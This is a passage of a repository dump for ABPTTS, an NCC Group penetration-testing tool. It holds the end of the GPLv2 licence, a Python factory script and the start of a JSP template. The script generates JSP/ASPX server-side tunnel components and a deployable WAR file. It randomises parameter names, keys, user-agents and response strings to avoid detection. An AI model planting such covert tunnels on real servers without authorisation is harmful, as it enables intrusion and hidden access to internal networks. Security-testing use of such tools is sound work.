exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | 294 | Copyright (C) 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | , 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | -------------------------------------------------------------------------------- /abpttsfactory.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # This file is part of A Black Path Toward The Sun ("ABPTTS") 4 | 5 | # Copyright 2016 NCC Group 6 | 7 | # A Black Path Toward The Sun ("ABPTTS") is free software: you can redistribute it and/or modify 8 | # it under the terms of version 2 of the GNU General Public License as published by 9 | # the Free Software Foundation. 10 | 11 | # A Black Path Toward The Sun ("ABPTTS") is distributed in the hope that it will be useful, 12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | # GNU General Public License for more details. 15 | 16 | # You should have received a copy of the GNU General Public License 17 | # along with A Black Path Toward The Sun ("ABPTTS") (in the file license.txt). 18 | # If not, see . 19 | 20 | # Version 1.0 21 | # Ben Lincoln, NCC Group 22 | # 2016-07-30 23 | 24 | # Configuration file/server component package generator for A Black Path Toward The Sun 25 | 26 | import base64 27 | import binascii 28 | import inspect 29 | import math 30 | import os 31 | import random 32 | import re 33 | import sys 34 | import zipfile 35 | 36 | import libabptts 37 | 38 | from datetime import datetime, date 39 | from shutil import copyfile 40 | 41 | outputHandler = libabptts.OutputHandler() 42 | conf = libabptts.ABPTTSConfiguration(outputHandler) 43 | 44 | serverFilenameJSP = 'abptts.jsp' 45 | serverFilenameASPX = 'abptts.aspx' 46 | 47 | serverFileTemplates = [] 48 | serverFileTemplates.append(serverFilenameJSP) 49 | serverFileTemplates.append(serverFilenameASPX) 50 | 51 | wrapperTemplateFileContentPlaceholder = "%ABPTTS_RESPONSE_CONTENT%" 52 | 53 | # minimum number of entries in the wordlist used for certain random name/value generation 54 | wordlistMinCount = 10 55 | 56 | # minimum number of bytes to generate for the authentication key 57 | authKeyMinLength = 16 58 | 59 | # maximum number of bytes to generate for the authentication key 60 | authKeyMaxLength = 32 61 | 62 | # number of bytes to generate for the encryption key 63 | encryptionKeyLength = 16 64 | 65 | # \\\\\\ Do not modify below this line unless you know what you're doing! ////// 66 | # 67 | 68 | def showBanner(): 69 | outputHandler.outputMessage("---===[[[ A Black Path Toward The Sun ]]]===---") 70 | outputHandler.outputMessage(" --==[[ - Factory - ]]==--") 71 | outputHandler.outputMessage(" Ben Lincoln, NCC Group") 72 | outputHandler.outputMessage(' Version %s - %s' % (libabptts.ABPTTSVersion.GetVersionString(), libabptts.ABPTTSVersion.GetReleaseDateString())) 73 | 74 | def ShowUsage(): 75 | print 'This utility generates a configuration file and matching server-side code (JSP, etc.) to be used with the ABPTTS client component.' 76 | print os.linesep 77 | print 'Usage: %s -c CONFIG_FILE_1 -c CONFIG_FILE_2 [...] -c CONFIG_FILE_n -o BASE_OUTPUT_DIRECTORY [--output-filename OUTPUT_CONFIG_FILE] [-w OUTPUT_WRAPPER_TEMLATE_FILE] [--ignore-defaults] [--wordlist WORDLIST_FILE] [--debug]' % (sys.argv[0]) 78 | print os.linesep 79 | print 'Example: %s -c CONFIG_FILE_1 -o /home/blincoln/abptts/config/10.87.134.12' % (sys.argv[0]) 80 | print os.linesep 81 | print 'Example: %s -c CONFIG_FILE_1 -c CONFIG_FILE_2 -o /home/blincoln/abptts/config/supervulnerable.goingtogethacked.internet' % (sys.argv[0]) 82 | print os.linesep 83 | print 'Data from configuration files is applied in sequential order, to allow partial customization files to be overlayed on top of more complete base files.' 84 | print os.linesep 85 | print 'IE if the same parameter is defined twice in the same file, the later value takes precedence, and if it is defined in two files, the value in whichever file is specified last on the command line takes precedence.' 86 | print os.linesep 87 | print '--output-filename specifies an alternate output filename for the configuration (as opposed to the default of "config.txt")' 88 | print os.linesep 89 | print '-w specifies a template file to use for generating the response wrapper prefix/suffix - see the documentation for details' 90 | print os.linesep 91 | print '--ignore-defaults prevents loading the default configuration as the base. For example, use this mode to merge two or more custom configuration overlay files without including options not explicitly defined in them. IMPORTANT: this will disable generation of server-side files (because if the defaults are not available, it would be very complicated to determine if all necessary parameters have been specified).' 92 | print os.linesep 93 | print '--wordlist allows specification of a custom wordlist file (for random parameter name/value generation) instead of the default.' 94 | print os.linesep 95 | print '--debug will enable verbose output.' 96 | 97 | def GetRandomListEntry(sourceList): 98 | entryNum = random.randint(0, len(sourceList) - 1) 99 | return sourceList[entryNum].strip() 100 | 101 | def CapitalizeFirst(inputString): 102 | return inputString[0:1].upper() + inputString[1:].lower() 103 | 104 | def RandomlyModifyCaps(inputString): 105 | mode = random.randint(0, 5) 106 | if mode < 2: 107 | return inputString 108 | if mode == 2: 109 | return CapitalizeFirst(inputString) 110 | if mode == 3: 111 | return inputString.upper() 112 | if mode == 4: 113 | return inputString.lower() 114 | return inputString 115 | 116 | def RandomlyCapitalizeFirst(inputString): 117 | mode = random.randint(0, 10) 118 | if mode < 5: 119 | return inputString 120 | return CapitalizeFirst(inputString) 121 | 122 | if __name__=='__main__': 123 | showBanner() 124 | if len(sys.argv) < 3: 125 | ShowUsage() 126 | sys.exit(1) 127 | 128 | configFileList = [] 129 | cliDebugOutput = False 130 | ignoreDefaults = False 131 | 132 | basePath = os.path.abspath(os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))) 133 | dataFilePath = os.path.join(basePath, 'data') 134 | templateFilePath = os.path.join(basePath, 'template') 135 | 136 | wordListPath = os.path.join(dataFilePath, 'american-english-lowercase-4-64.txt') 137 | 138 | userAgentListPath = os.path.join(dataFilePath, 'user-agents.txt') 139 | 140 | baseOutputDirectory = "" 141 | outputConfigFileName = 'config.txt' 142 | wrapperTemplateFilePath = os.path.join(templateFilePath, 'response_wrapper.html') 143 | 144 | args2 = [] 145 | 146 | argNum = 0 147 | while argNum < len(sys.argv): 148 | currentArg = sys.argv[argNum] 149 | foundArg = False 150 | if argNum < (len(sys.argv) - 1): 151 | nextArg = sys.argv[argNum + 1] 152 | if currentArg == "-c": 153 | foundArg = True 154 | configFileList.append(nextArg) 155 | if currentArg == "-o": 156 | foundArg = True 157 | baseOutputDirectory = os.path.abspath(nextArg) 158 | if currentArg == "--output-filename": 159 | foundArg = True 160 | outputConfigFileName = nextArg 161 | if currentArg == "-w": 162 | foundArg = True 163 | wrapperTemplateFilePath = nextArg 164 | if currentArg == "--wordlist": 165 | foundArg = True 166 | wordListPath = nextArg 167 | if foundArg: 168 | argNum += 2 169 | if foundArg == False: 170 | args2.append(currentArg) 171 | argNum += 1 172 | 173 | for a in args2: 174 | if a == "--debug": 175 | cliDebugOutput = True 176 | if a == "--ignore-defaults": 177 | ignoreDefaults = True 178 | 179 | parameterFileArray = [] 180 | if ignoreDefaults == False: 181 | parameterFileArray.append(os.path.join(dataFilePath, 'settings-default.txt')) 182 | 183 | if len(parameterFileArray) < 1: 184 | outputHandler.outputMessage('Error: you have included the --ignore-defaults flag, but not explicitly specified any configuration files. At least one configuration file must be specified.') 185 | sys.exit(4) 186 | 187 | for cf in configFileList: 188 | parameterFileArray.append(cf) 189 | parameterHash = conf.LoadParameters(parameterFileArray, True) 190 | 191 | validDirectory = False 192 | 193 | if os.path.exists(baseOutputDirectory): 194 | if os.path.isdir(baseOutputDirectory): 195 | validDirectory = True 196 | else: 197 | outputHandler.outputMessage('Error: a file named "%s" already exists, so that location cannot be used as an output directory. Delete/rename the existing file, or choose a new output directory.' % (baseOutputDirectory)) 198 | sys.exit(3) 199 | else: 200 | mdr = conf.MakeDir(baseOutputDirectory, outputHandler) 201 | if mdr: 202 | validDirectory = True 203 | else: 204 | sys.exit(3) 205 | 206 | outputConfigFilePath = os.path.join(baseOutputDirectory, outputConfigFileName) 207 | 208 | outputHandler.outputMessage('Output files will be created in "%s"' % (baseOutputDirectory)) 209 | outputHandler.outputMessage('Client-side configuration file will be written as "%s"' % (outputConfigFilePath)) 210 | 211 | if os.path.exists(wordListPath): 212 | outputHandler.outputMessage('Using "%s" as a wordlist file' % (wordListPath)) 213 | else: 214 | outputHandler.outputMessage('Error: could not find the wordlist file "%s".' % (wordListPath)) 215 | sys.exit(5) 216 | 217 | wl = conf.GetFileAsString(wordListPath) 218 | if wl == "": 219 | outputHandler.outputMessage('Error: no content obtained from wordlist file "%s".' % (wordListPath)) 220 | sys.exit(6) 221 | wordList = wl.splitlines() 222 | 223 | wc = len(wordList) 224 | if len(wordList) < wordlistMinCount: 225 | outputHandler.outputMessage('Error: the wordlist file "%s" only contained %i entries, but at least %i are required.' % (wordListPath, wc, wordlistMinCount)) 226 | sys.exit(7) 227 | 228 | ual = conf.GetFileAsString(userAgentListPath) 229 | if wl == "": 230 | outputHandler.outputMessage('Error: no content obtained from user-agent list file "%s".' % (userAgentListPath)) 231 | sys.exit(6) 232 | userAgentList = ual.splitlines() 233 | 234 | wrapperPrefix = "" 235 | wrapperSuffix = "" 236 | 237 | if wrapperTemplateFilePath != "": 238 | if os.path.exists(wrapperTemplateFilePath): 239 | try: 240 | wrapperTemplateFileContents = conf.GetFileAsString(wrapperTemplateFilePath) 241 | wtfcArray = wrapperTemplateFileContents.split(wrapperTemplateFileContentPlaceholder) 242 | if len(wtfcArray) > 1: 243 | wrapperPrefix = wtfcArray[0] 244 | wrapperSuffix = wtfcArray[1] 245 | except Exception as e: 246 | outputHandler.outputMessage('Error while processing response wrapper template file "%s" - %s' % (baseOutputDirectory, e)) 247 | wrapperPrefix = "" 248 | wrapperSuffix = "" 249 | 250 | if wrapperPrefix != "": 251 | conf.responseStringPrefixB64 = base64.b64encode(wrapperPrefix) 252 | if wrapperSuffix != "": 253 | conf.responseStringSuffixB64 = base64.b64encode(wrapperSuffix) 254 | 255 | #separators = [ '', '.', '_', '-', '~', '!', '@', '#', '$', '%', '^', '&', '*', '(', ')', '[', ']', '{', '}', '|', '/', '?' ] 256 | separators = [ '', '.', '_', '-', '@', '#', '$', '&', '|', '/' ] 257 | randomStrings = [] 258 | randomStringsWithSeparators = [] 259 | checkStrings = [] 260 | while len(randomStrings) < 16: 261 | word1 = RandomlyCapitalizeFirst(GetRandomListEntry(wordList)) 262 | word2 = CapitalizeFirst(GetRandomListEntry(wordList)) 263 | newString = '%s%s' % (word1, word2) 264 | if newString.lower() not in checkStrings: 265 | randomStrings.append(newString) 266 | checkStrings.append(newString.lower()) 267 | 268 | while len(randomStringsWithSeparators) < 16: 269 | #word1 = RandomlyModifyCaps(GetRandomListEntry(wordList)) 270 | #word2 = RandomlyModifyCaps(GetRandomListEntry(wordList)) 271 | word1 = binascii.hexlify(bytearray(os.urandom(random.randint(1, 36)))) 272 | word2 = binascii.hexlify(bytearray(os.urandom(random.randint(1, 36)))) 273 | newString = '%s%s%s' % (word1, GetRandomListEntry(separators), word2) 274 | if newString.lower() not in checkStrings: 275 | randomStringsWithSeparators.append(newString) 276 | checkStrings.append(newString.lower()) 277 | 278 | 279 | conf.headerValueUserAgent = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'headerValueUserAgent', conf.headerValueUserAgent, GetRandomListEntry(userAgentList)) 280 | conf.headerNameKey = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'headerNameKey', conf.headerNameKey, 'x-%s-%s-%s' % (GetRandomListEntry(wordList).lower(), GetRandomListEntry(wordList).lower(), GetRandomListEntry(wordList).lower())) 281 | authKeyLength = random.randint(authKeyMinLength, authKeyMaxLength) 282 | conf.headerValueKey = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'headerValueKey', conf.headerValueKey, base64.b64encode(str(bytearray(os.urandom(authKeyLength))))) 283 | conf.encryptionKeyHex = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'encryptionKeyHex', conf.encryptionKeyHex, binascii.hexlify(bytearray(os.urandom(encryptionKeyLength)))) 284 | 285 | conf.paramNameAccessKey = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'paramNameAccessKey', conf.paramNameAccessKey, randomStrings[11]) 286 | conf.paramNameOperation = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'paramNameOperation', conf.paramNameOperation, randomStrings[0]) 287 | conf.paramNameDestinationHost = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'paramNameDestinationHost', conf.paramNameDestinationHost, randomStrings[1]) 288 | conf.paramNameDestinationPort = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'paramNameDestinationPort', conf.paramNameDestinationPort, randomStrings[2]) 289 | conf.paramNameConnectionID = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'paramNameConnectionID', conf.paramNameConnectionID, randomStrings[3]) 290 | conf.paramNameData = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'paramNameData', conf.paramNameData, randomStrings[4]) 291 | conf.paramNamePlaintextBlock = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'paramNamePlaintextBlock', conf.paramNamePlaintextBlock, randomStrings[5]) 292 | conf.paramNameEncryptedBlock = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'paramNameEncryptedBlock', conf.paramNameEncryptedBlock, randomStrings[6]) 293 | conf.opModeStringOpenConnection = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'opModeStringOpenConnection', conf.opModeStringOpenConnection, randomStrings[7]) 294 | conf.opModeStringSendReceive = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'opModeStringSendReceive', conf.opModeStringSendReceive, randomStrings[8]) 295 | conf.opModeStringCloseConnection = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'opModeStringCloseConnection', conf.opModeStringCloseConnection, randomStrings[9]) 296 | conf.fileGenerationAppNameShort = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'fileGenerationAppNameShort', conf.fileGenerationAppNameShort, randomStrings[10]) 297 | 298 | conf.responseStringHide = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'responseStringHide', conf.responseStringHide, randomStringsWithSeparators[0]) 299 | conf.responseStringConnectionCreated = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'responseStringConnectionCreated', conf.responseStringConnectionCreated, randomStringsWithSeparators[1]) 300 | conf.responseStringConnectionClosed = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'responseStringConnectionClosed', conf.responseStringConnectionClosed, randomStringsWithSeparators[2]) 301 | conf.responseStringData = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'responseStringData', conf.responseStringData, randomStringsWithSeparators[3]) 302 | conf.responseStringNoData = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'responseStringNoData', conf.responseStringNoData, randomStringsWithSeparators[4]) 303 | conf.responseStringErrorGeneric = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'responseStringErrorGeneric', conf.responseStringErrorGeneric, randomStringsWithSeparators[5]) 304 | conf.responseStringErrorInvalidRequest = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'responseStringErrorInvalidRequest', conf.responseStringErrorInvalidRequest, randomStringsWithSeparators[6]) 305 | conf.responseStringErrorConnectionNotFound = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'responseStringErrorConnectionNotFound', conf.responseStringErrorConnectionNotFound, randomStringsWithSeparators[7]) 306 | conf.responseStringErrorConnectionOpenFailed = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'responseStringErrorConnectionOpenFailed', conf.responseStringErrorConnectionOpenFailed, randomStringsWithSeparators[8]) 307 | conf.responseStringErrorConnectionCloseFailed = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'responseStringErrorConnectionCloseFailed', conf.responseStringErrorConnectionCloseFailed, randomStringsWithSeparators[9]) 308 | conf.responseStringErrorConnectionSendFailed = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'responseStringErrorConnectionSendFailed', conf.responseStringErrorConnectionSendFailed, randomStringsWithSeparators[10]) 309 | conf.responseStringErrorConnectionReceiveFailed = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'responseStringErrorConnectionReceiveFailed', conf.responseStringErrorConnectionReceiveFailed, randomStringsWithSeparators[11]) 310 | conf.responseStringErrorDecryptFailed = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'responseStringErrorDecryptFailed', conf.responseStringErrorDecryptFailed, randomStringsWithSeparators[12]) 311 | conf.responseStringErrorEncryptFailed = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'responseStringErrorEncryptFailed', conf.responseStringErrorEncryptFailed, randomStringsWithSeparators[13]) 312 | conf.responseStringErrorEncryptionNotSupported = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'responseStringErrorEncryptionNotSupported', conf.responseStringErrorEncryptionNotSupported, randomStringsWithSeparators[14]) 313 | 314 | 315 | blockSeparatorChars = [] 316 | # use entire ASCII non-printable range except for null bytes 317 | for i in range(1, 32): 318 | blockSeparatorChars.append(chr(i)) 319 | 320 | #for i in range(128, 256): 321 | # blockSeparatorChars.append(chr(i)) 322 | 323 | bscl = len(blockSeparatorChars) - 1 324 | nvsIndex = random.randint(0, bscl) 325 | psIndex = random.randint(0, bscl) 326 | 327 | while nvsIndex == psIndex: 328 | psIndex = random.randint(0, bscl) 329 | 330 | conf.dataBlockNameValueSeparatorB64 = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'dataBlockNameValueSeparatorB64', conf.dataBlockNameValueSeparatorB64, base64.b64encode(blockSeparatorChars[nvsIndex])) 331 | conf.dataBlockParamSeparatorB64 = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'dataBlockParamSeparatorB64', conf.dataBlockParamSeparatorB64, base64.b64encode(blockSeparatorChars[psIndex])) 332 | 333 | if cliDebugOutput: 334 | outputHandler.outputMessage('Building ABPTTS configuration with the following values:') 335 | conf.ShowParameters() 336 | 337 | conf.WriteParametersBasedOnHashtable(parameterHash, outputConfigFilePath) 338 | 339 | if ignoreDefaults: 340 | outputHandler.outputMessage('The --ignore-defaults flag was specified, so no server-side files will be generated') 341 | else: 342 | # reload the configuration with the generated content 343 | parameterFileArray.append(outputConfigFilePath) 344 | parameterHash = conf.LoadParameters(parameterFileArray, False) 345 | 346 | for sft in serverFileTemplates: 347 | conf.GenerateServerFileFromTemplate(templateFilePath, sft, baseOutputDirectory, parameterHash) 348 | 349 | # auto-generate WAR file based on the generated JSP 350 | createWAR = True 351 | warRelativePath = 'war' 352 | jspFilename = '%s.%s' % (conf.fileGenerationAppNameShort, 'jsp') 353 | warFilename = '%s.%s' % (conf.fileGenerationAppNameShort, 'war') 354 | 355 | warInputDirectory = os.path.abspath(os.path.join(templateFilePath, warRelativePath)) 356 | warOutputDirectory = os.path.abspath(os.path.join(baseOutputDirectory, warRelativePath)) 357 | warWEBINFInputDirectory = os.path.join(warInputDirectory, 'WEB-INF') 358 | warMETAINFInputDirectory = os.path.join(warInputDirectory, 'META-INF') 359 | warWEBINFOutputDirectory = os.path.join(warOutputDirectory, 'WEB-INF') 360 | warMETAINFOutputDirectory = os.path.join(warOutputDirectory, 'META-INF') 361 | warJSPInputPath = os.path.join(baseOutputDirectory, serverFilenameJSP) 362 | warJSPOutputPath = os.path.join(warOutputDirectory, jspFilename) 363 | warOutputPath = os.path.join(baseOutputDirectory, warFilename) 364 | 365 | mdr = conf.MakeDir(warOutputDirectory, outputHandler) 366 | if not mdr: 367 | createWAR = False 368 | if createWAR: 369 | mdr = conf.MakeDir(warWEBINFOutputDirectory, outputHandler) 370 | if not mdr: 371 | createWAR = False 372 | if createWAR: 373 | mdr = conf.MakeDir(warMETAINFOutputDirectory, outputHandler) 374 | if not mdr: 375 | createWAR = False 376 | if createWAR: 377 | conf.GenerateServerFileFromTemplate(warWEBINFInputDirectory, 'web.xml', warWEBINFOutputDirectory, parameterHash) 378 | conf.GenerateServerFileFromTemplate(warMETAINFInputDirectory, 'MANIFEST.MF', warMETAINFOutputDirectory, parameterHash) 379 | createWAR = conf.CopyFile(warJSPInputPath, warJSPOutputPath, outputHandler) 380 | if createWAR: 381 | createWAR = conf.ZipDir(warOutputDirectory, warOutputPath, outputHandler) 382 | if createWAR: 383 | outputHandler.outputMessage('Prebuilt JSP WAR file: %s' % (warOutputPath)) 384 | outputHandler.outputMessage('Unpacked WAR file contents: %s' % (warOutputDirectory)) 385 | 386 | 387 | 388 | 389 | -------------------------------------------------------------------------------- /template/abptts.jsp: -------------------------------------------------------------------------------- 1 | <% 2 | /* 3 | 4 | This file is part of A Black Path Toward The Sun ("ABPTTS") 5 | 6 | Copyright 2016 NCC Group 7 | 8 | A Black Path Toward The Sun ("ABPTTS") is free software: you can redistribute it and/or modify 9 | it under the terms of version 2 of the GNU General Public License as published by 10 | the Free Software Foundation. 11 | 12 | A Black Path Toward The Sun ("ABPTTS") is distributed in the hope that it will be useful, 13 | but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | GNU General Public License for more details. 16 | 17 | You should have received a copy of the GNU General Public License 18 | along with A Black Path Toward The Sun ("ABPTTS") (in the file license.txt). 19 | If not, see . 20 | 21 | Version 1.0 22 | Ben Lincoln, NCC Group 23 | 2016-07-30 24 | 25 | A Black Path Toward The Sun server component template file (JSP) 26 | 27 | Tested successfully on: 28 | 29 | 